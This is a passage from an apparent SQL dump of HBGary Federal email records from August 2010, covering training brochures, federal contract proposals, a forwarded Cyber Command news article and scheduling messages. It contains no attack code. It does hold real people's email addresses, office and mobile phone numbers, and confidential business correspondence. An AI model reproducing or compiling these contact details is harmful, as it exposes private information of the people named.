ted@hbgary.com\r\n',6693,'aaron_hbgary_com/6693.html'),(10028,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007831.M405011P14101Q4883.eml','\"Barr Aaron\" <aaron@hbgary.com>','Eric\'s clearance','I confirmed with Eric H that he was never contacted by the proposal\r\nteam regarding his clearance or support..\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',7461,'aaron_hbgary_com/7461.html'),(10029,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007832.M495271P14101Q4884.eml','\"Winterfeld, Steven P (TASC Inc)\" <steven.winterfeld@tasc.com>,\"Winterfeld, Steven P (TASC Inc)\" <steven.winterfeld@tasc.com>','Draft','Hi Steve,\r\n\r\nAttached is a draft training brochure for a class we developed, hoping\r\nto seize on some of the interest we received at our NSA & Blackhat\r\nbriefings.  Please take a look and tell me what you think.  It\'s not\r\ndone yet, any feedback you can provide is welcomed.\r\n\r\nThanks,\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',6703,'aaron_hbgary_com/6703.html'),(10030,'2010-08-10','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007832.M767946P14101Q4885.eml','\"Aaron Barr (HBGary)\" <aaron@hbgary.com>','Dawn Meyerriecks re malware','\r\n\r\n\r\n\r\n\r\nDawn Meyerriecks re malware\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, August 11, 2010 3:00 PM-3:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Room 5B103, LX-2\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nBring a CD of the item we discussed.&nbsp; \r\n\r\n\r\n',8758,'aaron_hbgary_com/8758.html'),(10031,'2010-08-10','\"Upton, Ric\" <rupton@generalcatalyst.com>','/aaron@hbgary.com/new/1297007833.M261297P14101Q4887.eml','penny@hbgary.com,aaron@hbgary.com,penny@hbgary.com,aaron@hbgary.com','General Catalyst Partners','Penny and Aaron -\r\nit was good to talk with you a couple of weeks ago at Blackhat. I hope you had a great conference. As usual, it was an exciting and interesting mix of companies, clients and people.\r\n\r\nAs I mentioned when I spoke with you, I\'d appreciate the opportunity to talk further with you about your insights and perspectives in the security area, and would be happy to share some of our plans at General Catalyst as well. I will be in DC on Tuesday and Wednesday of each of the coming three weeks (starting August 17,18) and would be happy to stop by to meet with one or both of you.\r\n\r\nWe\'re excited about what we see in this market and HB Gary is certainly one of the outstanding thought leaders.\r\n\r\nLet me know if any of those dates might work for you. I look forward to getting together again.\r\n\r\nRegards ... Ric\r\n-- \r\nDr. Richard A. Upton\r\nExecutive in Residence\r\nGeneral Catalyst Partners\r\n20 University Road\r\nCambridge, MA  02138\r\nPhone: (617) 234-6002\r\nCell: (781) 439-5359\r\nEmail: rupton@generalcatalyst.com',9069,'aaron_hbgary_com/9069.html'),(10032,'2010-08-10','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007833.M41052P14101Q4886.eml','\"Aaron Barr (HBGary)\" <aaron@hbgary.com>','Dawn Meyerriecks re malware','\r\n\r\n\r\n\r\n\r\nDawn Meyerriecks re malware\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, August 11, 2010 3:00 PM-3:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Room 5B103, LX-2\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nMoved earlier at government request.&nbsp; Can you support Aaron?&nbsp; \r\n\r\nBring a CD of the item we discussed.&nbsp; \r\n\r\n\r\n',5237,'aaron_hbgary_com/5237.html'),(10033,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007833.M465488P14101Q4888.eml','\"Barr Aaron\" <aaron@hbgary.com>','Workflow Mgmt','Open source workflow mgmt:\r\n\r\nhttp://www.wareprise.com/2009/03/13/list-of-top-open-source-bpm-workflow-solution/\r\n\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',14845,'aaron_hbgary_com/14845.html'),(10034,'2010-08-10','\"Lirette, Dave (TASC)\" <David.P.Lirette@TASC.COM>','/aaron@hbgary.com/new/1297007833.M691936P14101Q4889.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Cyber Command chief details threats to U.S.','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCrap&#8230;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, August 09, 2010 8:39 PM\r\nTo: Lirette, Dave (TASC)\r\nCc: Aaron Barr\r\nSubject: Re: Cyber Command chief details threats to U.S.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTempered by this :\r\n\r\n\r\n\r\nhttp://www.cnn.com/2010/POLITICS/08/09/gates.joint.forces/index.html?hpt=T1\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 9, 2010, at 7:14 PM, &quot;Lirette, Dave (TASC)&quot; &lt;David.P.Lirette@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds like\r\nbusiness for your guys!\r\n\r\n&nbsp;\r\n\r\nClassification:\r\nUNCLASSIFIED\r\n\r\nCyber Command chief details threats to U.S.\r\n\r\nby Lance Whitney \r\n\r\nIf the United States wants to defend itself against\r\ncyberattacks, it needs to focus on four key areas, according to United\r\nStates Cyber Command head and NSA Director Army Gen. Keith Alexander.\r\n\r\n\r\n\r\nU.S. CyberCom head General Keith Alexander\r\n\r\n(Credit: National Security\r\nAgency) \r\n\r\nSpeaking Tuesday on the first day of the Armed Forces Communications and\r\nElectronics Association\'s LandWarNet\r\nconference in Tampa, Fla., Alexander\r\ndiscussed the dangers to the country\'s military networks and what the U.S. must\r\ndo to safeguard them.\r\n\r\nThe general said the threat of cyberattack affects more than 7 million\r\ndifferent computers on more than 1,500 individual networks maintained by the\r\nDefense Department.\r\n\r\n&quot;On any given day, our networks are probed over 250,000 times an\r\nhour,&quot; said Alexander. That figure adds up to 6 million per day and\r\nincludes more than 140 foreign spy organizations trying to infiltrate U.S.\r\nnetworks.\r\n\r\nAttacks on the network have also grown from exploitative to disruptive to\r\nmore destructive. And it\'s the destructive threats that worry the general.\r\n\r\n&quot;It\'s only a small step to go from disrupting to destroying parts of\r\nthe network,&quot; he said. &quot;If you think about our nation, our financial\r\nsystems, our power grids--all of that resides on the network. Our government,\r\nour defense department, our intelligence community, all reside on the network.\r\nAll of them are vulnerable to an attack like that. Shutting down that network\r\nwould cripple our financial system.&quot;\r\n\r\nTo combat the growing threat of cyberattacks, the\r\nfirst priority is to have the right tools to hunt down the malware itself. That\r\nwill require the DOD to protect its network the same way the Army protects an\r\narea of land, according to the general. &quot;Give the system administrators,\r\nour network operators, weapons to hunt inside our networks for malicious\r\nsoftware and malicious actors to destroy them,&quot; said Alexander.\r\n\r\nProtecting network borders is another key goal.\r\nAt points where users interact with the data, real-time notification of malware\r\nmust be sent to the administrators in charge of protecting the network as well\r\nas foreign intelligence officials and law enforcement on the outside, Alexander\r\nsaid.\r\n\r\nThe government must also establish strong\r\npartnerships with key stakeholders, including allies as well as other federal\r\nagencies. &quot;We have to, with our allies, be able to see what is\r\ngoing on with the global network so we can provide real-time indications and\r\nwarning to our defensive capabilities,&quot; said Alexander.\r\n\r\nFinally, those who protect the network must know\r\nwhat they can and can\'t do, both offensively and defensively, without having to\r\nseek approval for every action they take, according to Alexander.\r\n\r\n&quot;We have to have offensive capabilities, to, in real time, shut down\r\nsomebody trying to attack us,&quot; the general said. &quot;You need autonomous\r\ndecision logic that\'s based on the rule of law, the legal framework, to let\r\nnetwork defenders know what they are allowed to do in the network\'s\r\ndefense.&quot;\r\n\r\nBut that last point has been a key area of controversy as the U.S. has been\r\nstruggling to determine what\'s okay and\r\nwhat\'s off limits when responding to foreign sources of cyberattacks. Are\r\ndenial of service attacks acceptable in cyberwarfare? Are banks and electrical\r\ngrids valid targets?\r\n\r\nDuring a congressional committee hearing over Alexander\'s\r\nnomination to head U.S. CyberCom, the general was asked a series of\r\nquestions (PDF)\r\non how he might respond in cyberwarfare. But saying such information was\r\nclassified, Alexander declined to answer those questions publicly. \r\n\r\nAbout 9,000 soldiers and IT experts from the corporate sector are attending\r\nthe three-day LandWarNet conference. \r\n\r\nOriginally posted at\r\nMilitary Tech \r\n\r\nLance Whitney wears a few\r\ndifferent technology hats--journalist, Web developer, and software trainer. He\'s\r\na contributing editor for Microsoft TechNet Magazine and writes for other\r\ncomputer publications and Web sites. You can follow Lance on Twitter at @lancewhit. Lance is a member of the CNET Blog\r\nNetwork, and he is not an employee of CNET. \r\n\r\nhttp://cnn-cnet.com.com/security/?tag=hdr;snav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9864,'aaron_hbgary_com/9864.html'),(10035,'2010-08-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007833.M906560P14101Q4890.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I would like an introduction...','I do\'t see it\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 10, 2010 11:34 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: I would like an introduction...\r\n\r\nShows on yours...\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 10, 2010, at 2:28 PM, \"Penny Leavy-Hoglund\"  wrote:\r\n\r\n> I don\'t\' know him and he isn\'t on my list, is he on Greg\'s?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, August 10, 2010 6:29 AM\r\n> To: Penny Leavy\r\n> Subject: I would like an introduction...\r\n>\r\n> To Chris Grindle.\r\n>\r\n> He is in your LinkedIn contact list.\r\n>\r\n> Aaron\r\n>\r\n\r\n',6733,'aaron_hbgary_com/6733.html'),(10036,'2010-08-10','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297007834.M169847P14101Q4891.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: COIN','\r\n\r\n\r\n\r\n\r\nFW: COIN\r\n\r\n\r\n\r\n\r\nSee what you think.\r\n\r\nChris\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Clair, Chris (TASC)\r\nSent: Thursday, July 29, 2010 3:49 PM\r\nTo: Garcia, Kathy (TASC); Brunst Jr, Gerald R (TASC)\r\nSubject: COIN\r\n\r\n\r\n\r\nKathy and Jerry,\r\n\r\nCan we name COIN Saif (http://en.wikipedia.org/wiki/Saif)?&nbsp; Saif is the sword an Arab executioner uses when they decapitate criminals.&nbsp; I can think of a few cool brands for this.&nbsp; Attached is a pic.&nbsp; \r\n\r\nSaif is also a huge Bollywood star.&nbsp; Go figure. Let me know what you think.\r\n\r\n &lt;&lt;saif.jpg&gt;&gt; \r\n\r\n\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',1261,'aaron_hbgary_com/1261.html'),(10037,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007834.M393812P14101Q4892.eml','\"Barr Aaron\" <aaron@hbgary.com>','Social CRM','http://www.brainsell.net/blog/index.php/2010/04/the-social-crm-process-inspires-a-social-brainstorm/\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16418,'aaron_hbgary_com/16418.html'),(10038,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007834.M602329P14101Q4893.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: COIN','Wrong message.  You have to get out of the ctc mindset.  This organization thinks that mindset is outdated.  Maybe next week we should get together for a final brainstorm, check to see if we have everything lined up for rfp.\r\nAaronSent from my iPhoneOn Aug 10, 2010, at 3:44 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nSee what you think.\r\n\r\nChris\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Clair, Chris (TASC)\r\n\r\nSent: Thursday, July 29, 2010 3:49 PM\r\n\r\nTo: Garcia, Kathy (TASC); Brunst Jr, Gerald R (TASC)\r\n\r\nSubject: COIN\r\n\r\n\r\n\r\n\r\nKathy and Jerry,\r\n\r\nCan we name COIN Saif (http://en.wikipedia.org/wiki/Saif)?  Saif is the sword an Arab executioner uses when they decapitate criminals.  I can think of a few cool brands for this.  Attached is a pic.  \r\n\r\n\r\nSaif is also a huge Bollywood star.  Go figure. Let me know what you think.\r\n\r\n &lt;&lt;saif.jpg&gt;&gt; \r\n\r\n\r\n\r\nThanks,\r\n\r\n      Chris\r\n__________________________________________________\r\n\r\n  \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;saif.jpg&gt;\r\n',9836,'aaron_hbgary_com/9836.html'),(10039,'2010-08-10','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297007834.M983134P14101Q4894.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Peter Pace and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 10, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n        Latest:\r\n\r\n            1 discussion\r\n              &bull;\r\n\r\n             1 Job\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        August 4, 2010\r\nPBO Solutions Unveilled at Orlando Tech Data Conference\r\nGSA Application Services presents GSA Schedule Services and unveils PBO\'s Government Sales Manual.\r\n        Add a comment  &raquo;\r\n      \r\n\r\n        Started by Peter Pace, Powered By Outsourcing\r\n        \r\n          \r\n	              http://poweredbyoutsourcing.com/Government_Sales_Manual.html\r\n                By Peter Pace, Powered By Outsourcing\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           Sr. Acquisition Specialist\r\n           Add a comment  &raquo;\r\n\r\n         Posted by Steve Guthrie, Recruiter, Federal Solutions Division at Government Contract Solutions\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 75 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',6842,'aaron_hbgary_com/6842.html'),(10040,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007835.M462841P14101Q4895.eml','\"Steve Winterfeld\" <steven.winterfeld@TASC.COM>','Fwd: TSA-ITSSS Experience Matrix & Surge Matrix','FYI.\r\n\r\nBegin forwarded message:\r\n\r\n> From: John Fanguy \r\n> Date: August 10, 2010 9:34:21 AM EDT\r\n> To: \"aaron@hbgary.com\" , Bruce Friedman , John Fanguy , \"jwootton@palantir.com\" , Kirby Kintner , Martin Fertal , \"msteckman@palantir.com\" , \"patricia.krajeski@tasc.com\" , Paul Meaney , \"paul.kuttner@tasc.com\" , \"rob.wilson@telos.com\" , \"robert.sanderson@telos.com\" , \"sondra.spalding@tasc.com\" , \"ted@hbgary.com\" , \"tom.leahy@telos.com\" , \"tom.ryder@telos.com\" , William Luti \r\n> Subject: TSA-ITSSS Experience Matrix & Surge Matrix\r\n> \r\n> As I mentioned on the call, there was some confusion on the Experience Matrix and Surge Matrix.  Please see attached.\r\n>  \r\n> Experience Matrix – I’ve highlighted notable topics in the descriptions.  – Due Friday, 8/13, 5pm\r\n> ·         Please mark Yes/No in the ‘Experience?’ column.\r\n> ·         Please contribute at least 3 notable experience narratives in the “Description…” column\r\n>  \r\n> Surge Matrix – This is to indicate how many people each company has in each area.  – Due tomorrow, Wed, 8/11, noon.\r\n>  \r\n> Thanks,\r\n>  \r\n> -John\r\n>  \r\n> John Fanguy\r\n> VP\r\n> Digital Management, Inc.\r\n> \"Leading Government Transformation\"\r\n> GSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n> --------------------------------------------------\r\n> 6701 Democracy Blvd, Suite 500\r\n> Bethesda, Maryland 20817\r\n> 301-346-6749 cell\r\n> 240-223-4800 main\r\n> \r\n>  \r\n\r\n',2062,'aaron_hbgary_com/2062.html'),(10041,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007835.M753416P14101Q4896.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Alarm - Scitor / HBGary Capabilities','My meeting with Scitor has been postponed until Thursday, but I got\r\nthis promising email from Mike regarding our draft training brochure:\r\n\r\nTed\r\nCan you pls call me?  I do not have your number.  I am VERY interested\r\nin this type of training course.  We are already working with some of\r\nour customers to provide this kind of thing, but maybe we try to bring\r\nyou in for some specialized training.\r\nTks,\r\nMike\r\n',2229,'aaron_hbgary_com/2229.html'),(10042,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007836.M545572P14101Q4898.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Alarm - Scitor / HBGary Capabilities','I think we will get a lot of these types of responses.  Hot Hot Hot topic.\r\n\r\nOn Aug 10, 2010, at 4:54 PM, Ted Vera wrote:\r\n\r\n> My meeting with Scitor has been postponed until Thursday, but I got\r\n> this promising email from Mike regarding our draft training brochure:\r\n> \r\n> Ted\r\n> Can you pls call me?  I do not have your number.  I am VERY interested\r\n> in this type of training course.  We are already working with some of\r\n> our customers to provide this kind of thing, but maybe we try to bring\r\n> you in for some specialized training.\r\n> Tks,\r\n> Mike\r\n\r\n',8934,'aaron_hbgary_com/8934.html'),(10043,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007836.M92803P14101Q4897.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Alarm - Scitor / HBGary Capabilities','Cool.\r\n\r\nOn Aug 10, 2010, at 4:54 PM, Ted Vera wrote:\r\n\r\n> My meeting with Scitor has been postponed until Thursday, but I got\r\n> this promising email from Mike regarding our draft training brochure:\r\n> \r\n> Ted\r\n> Can you pls call me?  I do not have your number.  I am VERY interested\r\n> in this type of training course.  We are already working with some of\r\n> our customers to provide this kind of thing, but maybe we try to bring\r\n> you in for some specialized training.\r\n> Tks,\r\n> Mike\r\n\r\n',14967,'aaron_hbgary_com/14967.html'),(10044,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007837.M248049P14101Q4899.eml','\"Barr Aaron\" <aaron@hbgary.com>','Brochure','SM Training Brochure current version attached.\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3951,'aaron_hbgary_com/3951.html'),(10045,'2010-08-10','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297007837.M508696P14101Q4900.eml','\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Aaron Barr\" <aaron@hbgary.com>,kathyrondon@aol.com,obrienp@thebuffalogroup.com,Jason.syversen@siegetechnologies.com,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>','Gatorbait POCs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.&nbsp; I am a subcontract manager at ManTech\r\nand will be working with you as we move forward on this proposal effort.&nbsp; The\r\ncapture manager leading this proposal effort, Mr. Brad Stewart, is going to put\r\ntogether a kick-off meeting.&nbsp; He will be contacting everyone shortly with\r\nthe details.&nbsp; \r\n\r\n&nbsp;\r\n\r\nSo that we are sending our correspondence to the right\r\npeople in your company, please send Brad Stewart (cc line) and me the POC\r\ninformation for both your contracting representative and your\r\ntechnical/program/company representative.&nbsp; Please include name, telephone,\r\nand email for both contacts.&nbsp; If one person will handle both functions,\r\nplease indicate that.\r\n\r\n&nbsp;\r\n\r\nPlease send the contact information by 1000 tomorrow so that\r\nBrad can send out his invitation.&nbsp; If you have any questions, let me\r\nknow.&nbsp; We look forward to working with you.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve \r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3758,'aaron_hbgary_com/3758.html'),(10046,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007838.M163688P14101Q4901.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Draft Training Brochure','Hello Maria,\r\n\r\nAttached is a draft of our Social Media training brochure.  Please\r\nreview, I welcome your feedback.  What do you think about the pricing?\r\n\r\nTed\r\n',15759,'aaron_hbgary_com/15759.html'),(10047,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007838.M423398P14101Q4902.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Gatorbait POCs','Sent from my iPhoneBegin forwarded message:From: &quot;Ott, Stephen D&quot; &lt;Stephen.Ott@ManTech.com&gt;\r\nDate: August 10, 2010 5:12:42 PM EDTTo: &quot;Nuhad Karaki&quot; &lt;nuhad.karaki@inceptre.com&gt;, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;, &lt;kathyrondon@aol.com&gt;, &lt;obrienp@thebuffalogroup.com&gt;, &lt;Jason.syversen@siegetechnologies.com&gt;\r\nCc: &quot;Stewart, Brad&quot; &lt;Brad.Stewart@mantech.com&gt;Subject: Gatorbait POCs\r\n\r\n\r\n\r\n\r\nGatorbait Team,\r\n\r\n \r\n\r\nGood afternoon.  I am a subcontract manager at ManTech\r\nand will be working with you as we move forward on this proposal effort.  The\r\ncapture manager leading this proposal effort, Mr. Brad Stewart, is going to put\r\ntogether a kick-off meeting.  He will be contacting everyone shortly with\r\nthe details.  \r\n\r\n \r\n\r\nSo that we are sending our correspondence to the right\r\npeople in your company, please send Brad Stewart (cc line) and me the POC\r\ninformation for both your contracting representative and your\r\ntechnical/program/company representative.  Please include name, telephone,\r\nand email for both contacts.  If one person will handle both functions,\r\nplease indicate that.\r\n\r\n \r\n\r\nPlease send the contact information by 1000 tomorrow so that\r\nBrad can send out his invitation.  If you have any questions, let me\r\nknow.  We look forward to working with you.  Thank you.\r\n\r\n \r\n\r\nRegards,\r\n\r\nSteve \r\n\r\n \r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n \r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email. \r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.  Thank you.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6108,'aaron_hbgary_com/6108.html'),(10048,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007838.M652810P14101Q4903.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Draft Training Brochure','OK one big thing that is missing in the first paragraph is a some text that talks about the organizational benefits.  I will work on it.  should just be changing a few things around. kinda based on the conversation we had about effective use.\r\n\r\n\r\nOn Aug 10, 2010, at 5:14 PM, Ted Vera wrote:\r\n\r\n> Hello Maria,\r\n> \r\n> Attached is a draft of our Social Media training brochure.  Please\r\n> review, I welcome your feedback.  What do you think about the pricing?\r\n> \r\n> Ted\r\n> \r\n\r\n',4451,'aaron_hbgary_com/4451.html'),(10049,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007838.M889027P14101Q4904.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Draft Training Brochure','yeah based on our recent conversations I want to add a few things about organizational effective use and risks.\r\n\r\n\r\nOn Aug 10, 2010, at 5:14 PM, Ted Vera wrote:\r\n\r\n> Hello Maria,\r\n> \r\n> Attached is a draft of our Social Media training brochure.  Please\r\n> review, I welcome your feedback.  What do you think about the pricing?\r\n> \r\n> Ted\r\n> \r\n\r\n',9930,'aaron_hbgary_com/9930.html'),(10050,'2010-08-10','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297007839.M140325P14101Q4905.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TSA-ITSSS Experience Matrix & Surge Matrix','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHave been working this on the TASC side, it is in Pam Drew&#8217;s\r\norg.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI have been supporting Martin and will probably be on the red\r\nteam. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 10, 2010 2:41 PM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Fwd: TSA-ITSSS Experience Matrix &amp; Surge Matrix\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFYI.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nJohn\r\nFanguy &lt;jfanguy@digitalmanagement.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nAugust\r\n10, 2010 9:34:21 AM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;, Bruce Friedman &lt;bruce.friedman@ngc.com&gt;, John\r\nFanguy &lt;jfanguy@digitalmanagement.com&gt;,\r\n&quot;jwootton@palantir.com&quot;\r\n&lt;jwootton@palantir.com&gt;, Kirby\r\nKintner &lt;kkintner@digitalmanagement.com&gt;,\r\nMartin Fertal &lt;Martin.Fertal@TASC.com&gt;,\r\n&quot;msteckman@palantir.com&quot;\r\n&lt;msteckman@palantir.com&gt;,\r\n&quot;patricia.krajeski@tasc.com&quot;\r\n&lt;patricia.krajeski@tasc.com&gt;,\r\nPaul Meaney &lt;paul.meaney@ngc.com&gt;,\r\n&quot;paul.kuttner@tasc.com&quot; &lt;paul.kuttner@tasc.com&gt;, &quot;rob.wilson@telos.com&quot; &lt;rob.wilson@telos.com&gt;, &quot;robert.sanderson@telos.com&quot;\r\n&lt;robert.sanderson@telos.com&gt;,\r\n&quot;sondra.spalding@tasc.com&quot;\r\n&lt;sondra.spalding@tasc.com&gt;,\r\n&quot;ted@hbgary.com&quot; 